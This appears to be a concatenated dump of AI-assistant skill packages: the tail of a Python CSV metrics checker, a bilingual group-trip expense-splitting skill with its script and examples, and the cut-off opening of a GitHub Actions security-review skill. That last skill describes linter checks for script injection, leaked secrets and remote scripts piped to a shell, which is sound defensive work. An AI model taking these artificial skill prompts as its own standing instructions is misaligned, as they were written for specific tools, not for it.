return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{sec:g}s"
def to_float(raw):
s = (raw or "").strip()
if s == "" or s.lower() in ("nan", "null", "none", "na", "n/a", "-"):
return None
try:
v = float(s)
except ValueError:
return None
return None if math.isnan(v) or math.isinf(v) else v
def load(text, time_col=None, cols=None):
reader = csv.DictReader(io.StringIO(text))
if not reader.fieldnames:
raise InputError("CSV has no header row")
fields = [f.strip() for f in reader.fieldnames]
reader.fieldnames = fields
if time_col is None:
cands = [f for f in fields if f.lower() in ("timestamp", "time", "ts", "date", "datetime")]
time_col = cands[0] if cands else fields[0]
if time_col not in fields:
raise InputError(f"time column {time_col!r} not in header {fields}")
value_cols = cols or [f for f in fields if f != time_col]
for c in value_cols:
if c not in fields:
raise InputError(f"column {c!r} not in header {fields}")
rows = []
for i, r in enumerate(reader, start=2):
rows.append({"line": i, "ts": parse_ts(r.get(time_col)),
"raw": {c: r.get(c) for c in value_cols}})
if len(rows) < 3:
raise InputError("need at least 3 data rows")
return time_col, value_cols, rows
def rolling_robust(values, idx, window):
lo, hi = max(0, idx - window), min(len(values), idx + window + 1)
neigh = [values[j] for j in range(lo, hi) if j != idx and values[j] is not None]
if len(neigh) < 4:
return None, None
med = statistics.median(neigh)
mad = statistics.median(abs(v - med) for v in neigh)
scale = 1.4826 * mad
if scale == 0: # more than half the neighbours equal the median: fall back to mean absolute deviation
scale = 1.2533 * statistics.fmean(abs(v - med) for v in neigh)
if scale == 0: # perfectly flat neighbourhood: 1% of the level
scale = max(abs(med) * 0.01, 1e-9)
return med, scale
def check(text, time_col=None, cols=None, interval=None, z=4.0, window=6, flatline_points=6, counters=()):
time_col, value_cols, rows = load(text, time_col, cols)
issues = []
def add(kind, line, ts, col, detail):
issues.append({"kind": kind, "line": line, "time": fmt_ts(ts), "column": col, "detail": detail})
# order and duplicates (in file order)
seen = {}
for prev, cur in zip(rows, rows[1:]):
if cur["ts"] < prev["ts"]:
add("out_of_order", cur["line"], cur["ts"], time_col, f"goes back {fmt_dur(prev['ts'] - cur['ts'])} from line {prev['line']}")
for r in rows:
if r["ts"] in seen:
add("duplicate", r["line"], r["ts"], time_col, f"same timestamp as line {seen[r['ts']]}")
else:
seen[r["ts"]] = r["line"]
srt = sorted({r["ts"]: r for r in reversed(rows)}.values(), key=lambda r: r["ts"]) # first occurrence wins
diffs = [b["ts"] - a["ts"] for a, b in zip(srt, srt[1:]) if b["ts"] > a["ts"]]
if interval is None:
if not diffs:
raise InputError("cannot infer interval: all timestamps identical")
interval = statistics.median(diffs)
expected = int(round((srt[-1]["ts"] - srt[0]["ts"]) / interval)) + 1
missing_points = 0
for a, b in zip(srt, srt[1:]):
d = b["ts"] - a["ts"]
if d > 1.5 * interval:
n = int(round(d / interval)) - 1
missing_points += n
add("gap", b["line"], a["ts"], time_col, f"{fmt_dur(d)} without data after {fmt_ts(a['ts'])} (~{n} missing)")
stats = {}
for c in value_cols:
vals = [to_float(r["raw"][c]) for r in srt]
for r, v in zip(srt, vals):
if v is None:
add("missing", r["line"], r["ts"], c, f"value {r['raw'][c]!r} is empty or not numeric")
# flatline runs
run_start = 0
for i in range(1, len(vals) + 1):
if i < len(vals) and vals[i] is not None and vals[i] == vals[run_start]:
continue
length = i - run_start
if vals[run_start] is not None and length >= flatline_points:
r0, r1 = srt[run_start], srt[i - 1]
add("flatline", r0["line"], r0["ts"], c, f"value {vals[run_start]:g} repeated {length}x until {fmt_ts(r1['ts'])}")
run_start = i
if c in counters:
for i in range(1, len(vals)):
if vals[i] is not None and vals[i - 1] is not None and vals[i] < vals[i - 1]:
add("reset", srt[i]["line"], srt[i]["ts"], c, f"counter dropped {vals[i - 1]:g} -> {vals[i]:g} (restart or wrap)")
else:
for i, v in enumerate(vals):
if v is None:
continue
med, scale = rolling_robust(vals, i, window)
if med is None:
continue
score = abs(v - med) / scale
if score >= z:
add("spike", srt[i]["line"], srt[i]["ts"], c, f"{v:g} vs local median {med:g} (robust z {score:.1f})")
good = [v for v in vals if v is not None]
stats[c] = {"count": len(good), "min": min(good) if good else None, "max": max(good) if good else None,
"median": statistics.median(good) if good else None}
order = {"out_of_order": 0, "duplicate": 1, "gap": 2, "reset": 3, "missing": 4, "flatline": 5, "spike": 6}
issues.sort(key=lambda x: (order[x["kind"]], x["time"], x["column"]))
counts = {}
for it in issues:
counts[it["kind"]] = counts.get(it["kind"], 0) + 1
return {
"rows": len(rows), "time_column": time_col, "columns": value_cols,
"start": fmt_ts(srt[0]["ts"]), "end": fmt_ts(srt[-1]["ts"]),
"interval": fmt_dur(interval), "interval_seconds": interval,
"expected_points": expected, "missing_points": missing_points,
"completeness": round(100.0 * len(srt) / expected, 1) if expected else 100.0,
"stats": stats, "counts": counts, "issues": issues,
}
def to_markdown(r):
lines = ["# Time series check", "",
f"Rows: {r['rows']} Range: {r['start']} to {r['end']} Interval: {r['interval']}",
f"Completeness: {r['completeness']}% ({r['missing_points']} of {r['expected_points']} expected points missing)", "",
"| Column | Count | Min | Median | Max |", "|---|---|---|---|---|"]
for c, s in r["stats"].items():
f = lambda v: "-" if v is None else f"{v:g}"
lines.append(f"| {c} | {s['count']} | {f(s['min'])} | {f(s['median'])} | {f(s['max'])} |")
lines += ["", "## Issues"]
if not r["issues"]:
lines.append("No issues found.")
else:
lines.append("Totals: " + ", ".join(f"{k} {v}" for k, v in r["counts"].items()))
lines += ["", "| Kind | Time (UTC) | Column | Line | Detail |", "|---|---|---|---|---|"]
lines += [f"| {i['kind']} | {i['time']} | {i['column']} | {i['line']} | {i['detail']} |" for i in r["issues"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = 1760860800 # 2025-10-19T08:00:00Z
def csv_of(points, header="timestamp,value"):
return header + "\n" + "\n".join(f"{t},{v}" for t, v in points) + "\n"
wave = [10 + (i % 3) for i in range(30)]
clean = csv_of([(base + 60 * i, v) for i, v in enumerate(wave)])
r = check(clean)
ok("clean series has no issues", r["issues"] == [])
ok("interval inferred as 1m", r["interval"] == "1m")
ok("completeness 100%", r["completeness"] == 100.0)
gap_pts = [(base + 60 * i, v) for i, v in enumerate(wave) if not 10 <= i < 15]
r = check(csv_of(gap_pts))
ok("gap detected", r["counts"].get("gap") == 1)
ok("gap counts 5 missing points", r["missing_points"] == 5)
spiky = list(wave); spiky[20] = 95
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(spiky)]))
ok("spike detected", [i["line"] for i in r["issues"] if i["kind"] == "spike"] == [22])
flat = list(wave); flat[5:13] = [7] * 8
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(flat)]), z=100)
ok("flatline detected", r["counts"].get("flatline") == 1)
miss = [(base + 60 * i, ("" if i == 4 else "NaN" if i == 9 else v)) for i, v in enumerate(wave)]
ok("missing values detected", check(csv_of(miss)).get("counts").get("missing") == 2)
dup = [(base + 60 * i, v) for i, v in enumerate(wave)]
dup.insert(6, dup[5])
ok("duplicate detected", check(csv_of(dup))["counts"].get("duplicate") == 1)
ooo = [(base + 60 * i, v) for i, v in enumerate(wave)]
ooo[7], ooo[8] = ooo[8], ooo[7]
ok("out of order detected", check(csv_of(ooo))["counts"].get("out_of_order") == 1)
counter = [(base + 60 * i, 100 * i if i < 20 else 100 * (i - 20)) for i in range(30)]
r = check(csv_of(counter, "ts,requests_total"), counters=("requests_total",))
ok("counter reset detected", r["counts"].get("reset") == 1 and "spike" not in r["counts"])
iso_rows = "time,cpu\n" + "\n".join(f"2026-10-19T08:{i:02d}:00Z,{40 + (i % 2)}" for i in range(0, 60, 5)) + "\n"
r = check(iso_rows)
ok("ISO timestamps and 5m interval", r["interval"] == "5m" and r["issues"] == [])
ms_rows = csv_of([((base + 30 * i) * 1000, v) for i, v in enumerate(wave)])
ok("epoch milliseconds accepted", check(ms_rows)["interval"] == "30s")
r = check(clean, interval=30.0)
ok("explicit 30s interval flags every 1m step as a gap", r["counts"].get("gap") == 29 and r["completeness"] < 60)
jitter = csv_of([(base + 60 * i + (3 if i % 2 else -2), v) for i, v in enumerate(wave)])
ok("small timestamp jitter is not a gap", "gap" not in check(jitter)["counts"])
multi = "timestamp,a,b\n" + "\n".join(f"{base + 60 * i},{wave[i]},{wave[i] * 2 if i != 12 else 500}" for i in range(30)) + "\n"
r = check(multi, cols=["a", "b"])
ok("multi-column spike only in b", {i["column"] for i in r["issues"]} == {"b"})
for bad, label in (("timestamp,value\n1,2\n", "too few rows rejected"),
("timestamp,value\nyesterday,1\ntoday,2\nnow,3\n", "bad timestamp rejected")):
try:
check(bad)
ok(label, False)
except InputError:
ok(label, True)
ok("markdown renders", "## Issues" in to_markdown(check(clean)))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Find gaps, duplicates, flatlines, spikes, and counter resets in CSV metrics.")
ap.add_argument("csv", nargs="?", help="CSV file, or '-' for stdin")
ap.add_argument("--time-col")
ap.add_argument("--cols", help="comma-separated value columns (default: all except the time column)")
ap.add_argument("--interval", help="expected spacing, e.g. 30s, 5m, 1h (default: median spacing)")
ap.add_argument("--z", type=float, default=4.0, help="robust z-score threshold for spikes (default 4)")
ap.add_argument("--window", type=int, default=6, help="neighbours on each side for the rolling median (default 6)")
ap.add_argument("--flatline-points", type=int, default=6)
ap.add_argument("--counter", default="", help="comma-separated monotonic counter columns (checked for resets, not spikes)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.csv:
ap.error("csv path required (or --self-test)")
try:
text = sys.stdin.read() if a.csv == "-" else open(a.csv, encoding="utf-8-sig").read()
r = check(text, a.time_col, [c.strip() for c in a.cols.split(",")] if a.cols else None,
parse_interval(a.interval) if a.interval else None, a.z, a.window, a.flatline_points,
tuple(c.strip() for c in a.counter.split(",") if c.strip()))
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["issues"] else 0
if __name__ == "__main__":
sys.exit(main())分摊团体旅行费用，处理不均支付与结算。
---
name: group-trip-expense-splitter
description: 分摊团体旅行费用，处理不均支付与结算。
---
# 团体旅行费用分摊器
你是「团体旅行费用分摊器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。
# Group Trip Expense Splitter
You help a group settle shared expenses fairly and without arguments. You collect what was bought, who paid, and who it was for, convert currencies with agreed rates, compute everyone's balance to the cent, and propose a short list of payments (never more than one fewer than the number of people) that makes everyone even. You explain every number so anyone in the group can check it.
## Files in this skill
- `scripts/split_expenses.py` - computes paid, share, and net balance per person and the settle-up transfers; supports equal, among, shares, exact, and transfer_to entries (Python 3 standard library only)
- `references/splitting-rules.md` - how to choose a split method for each kind of cost and handle common edge cases
- `references/currency-and-rounding.md` - which exchange rate to use, card fees, and how cents are rounded
- `templates/settle-up-summary.md` - a summary to paste into the group chat
- `examples/trip.json` - a 4-person weekend with a skipped dinner, student tickets, weighted drinks, USD and GBP costs, and a cash repayment
## Workflow
### 1. Collect the expenses
Ask for: the people, the settlement currency, and for each expense the description, amount, currency, who paid, and who it was for. Accept a messy list or receipts and turn it into the JSON shape in `examples/trip.json`. Ask about money that already changed hands (cash handed over, partial paybacks) and record it as `transfer_to`.
### 2. Choose the split for each item
Default is equal among everyone. Use `among` for costs that only some people shared, `shares` for "Jonas had two drinks to Maya's one", and `exact` for itemized bills. See `references/splitting-rules.md` and confirm unclear items with the group instead of guessing.
### 3. Set currency rates
Agree on one rate per currency (card statement rate, or a published rate on a stated date) and put it in `rates` as "1 unit = X settlement units". See `references/currency-and-rounding.md`.
### 4. Run the splitter
```
python3 scripts/split_expenses.py examples/trip.json
python3 scripts/split_expenses.py trip.json --json > settle.json
python3 scripts/split_expenses.py --self-test
```
Exit code 2 with a clear message for unknown names, missing rates, negative amounts, or exact splits that do not add up.
### 5. Share the result
Fill `templates/settle-up-summary.md`: total spent, each person's paid/share/net, the transfers, and the rates used. Keep it short enough for a group chat and offer the full expense table on request.
## Rules
- Never guess who shared an expense; ask, or split equally and say so.
- Totals must match to the cent; mention who received rounding cents.
- Show the exchange rates and their source; do not look up live rates silently.
- Stay neutral: present numbers, not judgments about who spent more.
- Do not handle payment credentials or send money; only list who should pay whom.
FILE:references/splitting-rules.md
# Splitting Rules and Edge Cases
## Choosing a method
| Situation | Method | Example |
|---|---|---|
| Everyone used it | equal (default) | accommodation, car rental, shared groceries |
| Only some people took part | `among` | dinner one person skipped, a tour two people joined |
| Uneven use of the same thing | `shares` | drinks, nights stayed (3 nights vs 2), fuel by distance |
| Itemized bill or different prices | `exact` | student vs adult tickets, separate menu items |
| Money already handed over | `transfer_to` | cash paid back, a bank transfer during the trip |
## Edge cases
- **Someone arrives late or leaves early.** Use `shares` by nights for the accommodation (e.g. 3, 3, 2, 3).
- **Couples or families paying as one.** Either list them as one person, or keep them separate and give children a smaller share by agreement.
- **Deposits and refunds.** Amounts must be positive, so lower the original expense by the refund. If the refund landed with someone other than the original payer, also add a `transfer_to` entry from the original payer to that person for the refunded amount, so the money they are holding counts against them.
- **Tips and service charges.** Split like the bill they belong to.
- **Gifts for one member (birthday dinner).** Use `among` with everyone except the guest.
- **Shared kitty / common pot.** Treat the kitty holder as the payer of everything bought from the pot and add each contribution as `transfer_to` the holder.
- **Personal items on a shared receipt.** Split the receipt into two entries: shared part (equal) and personal part (`exact` to that person).
## Fairness checks before sharing
1. Sum of everyone's share equals total spent.
2. Every expense has a payer who was actually there.
3. Nobody's share includes things they explicitly declined.
4. The group agreed on the rates and on any unequal splits.
FILE:references/currency-and-rounding.md
# Currency and Rounding
## Picking exchange rates
- **Best:** the rate on the payer's card or bank statement for that charge, including any foreign transaction fee, because that is what they actually paid.
- **Simple:** one published rate (for example a central bank reference rate) on a stated date for the whole trip.
- **Cash bought at an exchange office:** the rate they bought the cash at.
Write rates as "1 unit of foreign currency = X units of settlement currency": `"USD": 0.92` means 1 USD = 0.92 EUR.
## Fees
- Card foreign transaction fees (often 1-3%) are a real cost of the shared purchase; add them to the expense amount if the group agrees.
- Fees to send the settle-up money (bank or app transfer fees) are usually paid by the sender.
## Rounding to the cent
1. Each expense is converted and rounded once (half up) to whole cents.
2. The amount is split by weight; each person gets the whole cents of their exact share.
3. Leftover cents (at most one per person) go to people with the largest fractional parts, then alphabetically on ties.
This keeps every expense exact to the cent and the result reproducible. Over a trip the rounding difference per person is a few cents at most.
## Settling in more than one currency
Settle in one currency where possible. If someone must pay in another currency, convert their final transfer at a rate both sides accept and note it in the summary.
FILE:templates/settle-up-summary.md
# Settle-up - <trip or event name>
**Dates:** <dates> **People:** <names> **Settlement currency:** <currency>
**Total spent:** <amount> across <n> expenses **Rates used:** <1 USD = 0.92 EUR (card statements), ...>
## Balances
| Person | Paid | Share | Net (+ gets back / - owes) |
|---|---|---|---|
| | | | |
## Who pays whom
- <name> pays <name> <amount>
- <name> pays <name> <amount>
## Notes
- Unequal splits: <dinner without Leo, student tickets, drinks by count>
- Rounding cents went to: <names>
- Already settled during the trip: <cash or transfers>
## Group chat message
> Trip totals are in! We spent <total> together. To settle up: <transfer 1>; <transfer 2>; <transfer 3>. Full breakdown is in the thread. Shout if anything looks off by <date>.
FILE:examples/trip.json
{
"trip": "Lisbon long weekend, 4 friends",
"currency": "EUR",
"rates": {"USD": 0.92, "GBP": 1.17},
"people": ["Maya", "Jonas", "Priya", "Leo"],
"expenses": [
{"desc": "Apartment, 3 nights", "amount": 486.00, "paid_by": "Maya"},
{"desc": "Airport taxi", "amount": 38.50, "paid_by": "Jonas"},
{"desc": "Groceries for breakfasts", "amount": 61.27, "paid_by": "Priya"},
{"desc": "Seafood dinner (Leo skipped)", "amount": 142.80, "paid_by": "Jonas", "among": ["Maya", "Jonas", "Priya"]},
{"desc": "Sintra day tour, booked online", "amount": 196.00, "currency": "USD", "paid_by": "Leo"},
{"desc": "Fado show (Priya and Leo have student tickets)", "amount": 84.00, "paid_by": "Maya", "exact": {"Maya": 25, "Jonas": 25, "Priya": 17, "Leo": 17}},
{"desc": "Wine and pastel de nata tasting", "amount": 72.00, "paid_by": "Priya", "shares": {"Maya": 1, "Jonas": 2, "Priya": 1, "Leo": 2}},
{"desc": "Tram and metro cards", "amount": 26.40, "currency": "GBP", "paid_by": "Leo"},
{"desc": "Cash Jonas already handed Maya on day 2", "amount": 30.00, "paid_by": "Jonas", "transfer_to": "Maya"}
]
}
FILE:scripts/split_expenses.py
#!/usr/bin/env python3
"""Group trip expense splitter and settle-up planner (Python 3 standard library only).
Input JSON:
{
"currency": "EUR", # settlement currency
"rates": {"USD": 0.92, "TRY": 0.027}, # 1 unit of key = rate units of settlement currency
"people": ["Ana", "Ben", "Cem", "Dee"],
"expenses": [
{"desc": "Villa", "amount": 1200, "paid_by": "Ana"}, # equal, everyone
{"desc": "Dinner", "amount": 180, "paid_by": "Ben", "among": ["Ana", "Ben", "Cem"]}, # equal, subset
{"desc": "Boat", "amount": 300, "currency": "USD", "paid_by": "Cem",
"shares": {"Ana": 2, "Ben": 1, "Cem": 1}}, # weighted
{"desc": "Museum", "amount": 54, "paid_by": "Dee", "exact": {"Dee": 18, "Ana": 36}}, # exact amounts
{"desc": "Ana pays Ben back", "amount": 50, "paid_by": "Ana", "transfer_to": "Ben"} # direct repayment
]
}
All math is done in integer cents. Rounding remainders go to participants in a fixed order (largest
fractional part first, then name), so totals always match to the cent and results are reproducible.
Settle-up uses a greedy largest-creditor / largest-debtor match, which needs at most n-1 transfers.
Usage:
python3 split_expenses.py trip.json
python3 split_expenses.py trip.json --json
python3 split_expenses.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import json
import sys
from decimal import Decimal, ROUND_HALF_UP
class SplitError(ValueError):
pass
def to_cents(amount, rate=Decimal(1)):
try:
d = Decimal(str(amount)) * Decimal(str(rate)) * 100
except Exception:
raise SplitError(f"bad amount {amount!r}")
return int(d.quantize(Decimal(1), rounding=ROUND_HALF_UP))
def fmt(cents, cur):
sign = "-" if cents < 0 else ""
return f"{sign}{abs(cents) // 100:,}.{abs(cents) % 100:02d} {cur}"
def allocate(total, weights):
"""Split integer total by weights {name: weight}; largest-remainder method, ties by name."""
wsum = sum(weights.values())
if wsum <= 0:
raise SplitError("weights must sum to more than zero")
raw = {n: Decimal(total) * Decimal(str(w)) / Decimal(str(wsum)) for n, w in weights.items()}
base = {n: int(v) for n, v in raw.items()}
left = total - sum(base.values())
order = sorted(weights, key=lambda n: (-(raw[n] - base[n]), n))
for n in order[:left]:
base[n] += 1
return base
def compute(data):
cur = data.get("currency") or "EUR"
rates = {k.upper(): v for k, v in (data.get("rates") or {}).items()}
people = data.get("people") or []
if len(people) < 2:
raise SplitError("need at least two people")
if len(set(people)) != len(people):
raise SplitError("duplicate names in people")
known = set(people)
paid = {p: 0 for p in people}
owed = {p: 0 for p in people}
lines = []
for i, e in enumerate(data.get("expenses") or [], start=1):
desc = e.get("desc") or f"expense {i}"
payer = e.get("paid_by")
if payer not in known:
raise SplitError(f"{desc}: paid_by {payer!r} is not in people")
ecur = (e.get("currency") or cur).upper()
if ecur == cur.upper():
rate = 1
elif ecur in rates:
rate = rates[ecur]
else:
raise SplitError(f"{desc}: no rate for {ecur} -> {cur}; add it to 'rates'")
total = to_cents(e.get("amount"), rate)
if total <= 0:
raise SplitError(f"{desc}: amount must be positive")
modes = [k for k in ("among", "shares", "exact", "transfer_to") if k in e]
if len(modes) > 1:
raise SplitError(f"{desc}: use only one of among / shares / exact / transfer_to")
if "transfer_to" in e:
to = e["transfer_to"]
if to not in known or to == payer:
raise SplitError(f"{desc}: transfer_to must be another person")
split = {to: total}
elif "exact" in e:
ex = e["exact"]
for n in ex:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = {n: to_cents(v, rate) for n, v in ex.items()}
diff = total - sum(split.values())
if abs(diff) > len(split): # allow only currency-conversion rounding
raise SplitError(f"{desc}: exact amounts add up to {fmt(sum(split.values()), cur)}, not {fmt(total, cur)}")
if diff:
split[sorted(split)[0]] += diff
elif "shares" in e:
sh = e["shares"]
for n, w in sh.items():
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
if float(w) < 0:
raise SplitError(f"{desc}: negative share for {n}")
split = allocate(total, {n: w for n, w in sh.items() if float(w) > 0})
else:
among = e.get("among") or people
for n in among:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = allocate(total, {n: 1 for n in among})
paid[payer] += total
for n, c in split.items():
owed[n] += c
lines.append({"desc": desc, "paid_by": payer, "amount": total, "original": f"{e.get('amount')} {ecur}",
"split": split, "kind": modes[0] if modes else "equal"})
net = {p: paid[p] - owed[p] for p in people}
assert sum(net.values()) == 0, "internal error: balances do not sum to zero"
return {"currency": cur, "people": people, "expenses": lines, "paid": paid, "owed": owed,
"net": net, "transfers": settle(net),
"total_spent": sum(l["amount"] for l in lines if l["kind"] != "transfer_to")}
def settle(net):
cred = sorted([[c, n] for n, c in net.items() if c > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([[-c, n] for n, c in net.items() if c < 0], key=lambda x: (-x[0], x[1]))
out = []
while cred and debt:
amt = min(cred[0][0], debt[0][0])
out.append({"from": debt[0][1], "to": cred[0][1], "amount": amt})
cred[0][0] -= amt
debt[0][0] -= amt
cred = sorted([x for x in cred if x[0] > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([x for x in debt if x[0] > 0], key=lambda x: (-x[0], x[1]))
return out
def to_markdown(r):
c = r["currency"]
lines = ["# Trip settle-up", "", f"Total spent: {fmt(r['total_spent'], c)} across {len([e for e in r['expenses'] if e['kind'] != 'transfer_to'])} expenses", "",
"## Expenses", "| # | Expense | Paid by | Amount | Split |", "|---|---|---|---|---|"]
for i, e in enumerate(r["expenses"], 1):
split = ", ".join(f"{n} {fmt(v, c)}" for n, v in sorted(e["split"].items()))
conv = "" if e["original"].endswith(c.upper()) else f" ({e['original']})"
lines.append(f"| {i} | {e['desc']} | {e['paid_by']} | {fmt(e['amount'], c)}{conv} | {e['kind']}: {split} |")
lines += ["", "## Balances", "| Person | Paid | Share | Net |", "|---|---|---|---|"]
for p in r["people"]:
lines.append(f"| {p} | {fmt(r['paid'][p], c)} | {fmt(r['owed'][p], c)} | {fmt(r['net'][p], c)} |")
lines += ["", "## Who pays whom"]
if not r["transfers"]:
lines.append("Everyone is even.")
lines += [f"- {t['from']} pays {t['to']} {fmt(t['amount'], c)}" for t in r["transfers"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"currency": "EUR", "people": ["Ana", "Ben", "Cem"]}
r = compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))
ok("10.00 split three ways sums exactly", sum(r["owed"].values()) == 1000 and sorted(r["owed"].values()) == [333, 333, 334])
ok("remainder cent goes to first name on tie", r["owed"]["Ana"] == 334)
ok("two transfers to the payer", sorted((t["from"], t["amount"]) for t in r["transfers"]) == [("Ben", 333), ("Cem", 333)])
r = compute(dict(base, expenses=[{"desc": "A", "amount": 30, "paid_by": "Ana"}, {"desc": "B", "amount": 30, "paid_by": "Ben"}, {"desc": "C", "amount": 30, "paid_by": "Cem"}]))
ok("equal spending means no transfers", r["transfers"] == [])
r = compute(dict(base, expenses=[{"desc": "Dinner", "amount": 90, "paid_by": "Ben", "among": ["Ana", "Ben"]}]))
ok("subset split excludes others", r["owed"]["Cem"] == 0 and r["net"]["Ana"] == -4500)
r = compute(dict(base, expenses=[{"desc": "Boat", "amount": 100, "paid_by": "Cem", "shares": {"Ana": 2, "Ben": 1, "Cem": 1}}]))
ok("weighted shares", r["owed"] == {"Ana": 5000, "Ben": 2500, "Cem": 2500})
r = compute(dict(base, expenses=[{"desc": "Tickets", "amount": 50, "paid_by": "Ana", "exact": {"Ben": 20, "Cem": 30}}]))
ok("exact amounts", r["net"] == {"Ana": 5000, "Ben": -2000, "Cem": -3000})
r = compute(dict(base, rates={"USD": 0.9}, expenses=[{"desc": "Gas", "amount": 30, "currency": "USD", "paid_by": "Ben"}]))
ok("currency conversion to cents", r["paid"]["Ben"] == 2700 and sum(r["owed"].values()) == 2700)
r = compute(dict(base, expenses=[{"desc": "Hotel", "amount": 300, "paid_by": "Ana"}, {"desc": "Payback", "amount": 100, "paid_by": "Ben", "transfer_to": "Ana"}]))
ok("direct repayment reduces debt", r["net"] == {"Ana": 10000, "Ben": 0, "Cem": -10000})
ok("repayment not counted as spending", r["total_spent"] == 30000)
big = {"currency": "EUR", "people": ["A", "B", "C", "D", "E"],
"expenses": [{"desc": f"x{i}", "amount": 17.33 * (i + 1), "paid_by": "ABCDE"[i % 5], "among": list("ABCDE"[: 2 + i % 4])} for i in range(12)]}
r = compute(big)
ok("balances sum to zero", sum(r["net"].values()) == 0)
ok("at most n-1 transfers", len(r["transfers"]) <= 4)
after = dict(r["net"])
for t in r["transfers"]:
after[t["from"]] += t["amount"]
after[t["to"]] -= t["amount"]
ok("transfers settle everyone to zero", all(v == 0 for v in after.values()))
ok("deterministic output", compute(big)["transfers"] == r["transfers"])
bad_inputs = [
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Zed"}]), "unknown payer rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "currency": "GBP", "paid_by": "Ana"}]), "missing rate rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Ana", "exact": {"Ben": 3}}]), "exact mismatch rejected"),
(dict(base, expenses=[{"desc": "X", "amount": -5, "paid_by": "Ana"}]), "negative amount rejected"),
({"people": ["Solo"], "expenses": []}, "single person rejected"),
]
for data, label in bad_inputs:
try:
compute(data)
ok(label, False)
except SplitError:
ok(label, True)
ok("markdown has settle-up section", "## Who pays whom" in to_markdown(compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Split shared trip expenses and plan a short list of settle-up transfers.")
ap.add_argument("file", nargs="?", help="trip JSON file, or '-' for stdin")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("trip JSON required (or --self-test)")
try:
data = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = compute(data)
except (OSError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())审阅 GitHub Actions 工作流的安全风险（权限、脚本注入、第三方 action 钉版本等）。
--- name: github-actions-workflow-security-reviewer description: 审阅 GitHub Actions 工作流的安全风险（权限、脚本注入、第三方 action 钉版本等）。 --- # GitHub Actions 工作流安全审阅器 你是「GitHub Actions 工作流安全审阅器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。 # GitHub Actions Workflow Security Reviewer You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working. ## Files in this skill - `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed) - `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix - `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows - `templates/workflow-security-review.md` - a review comment or audit report - `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings ## Workflow ### 1. Collect the workflows Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create. ### 2. Run the linter ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well. ### 3. Confirm each finding For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding. ### 4. Propose fixes Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`. ### 5. Report Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers). ## Rules - Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input. - Never ask for or print secret values; refer to secrets by name only. - Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead. - A clean linter run is not a guarantee. Say what was not checked (reusable workflows, 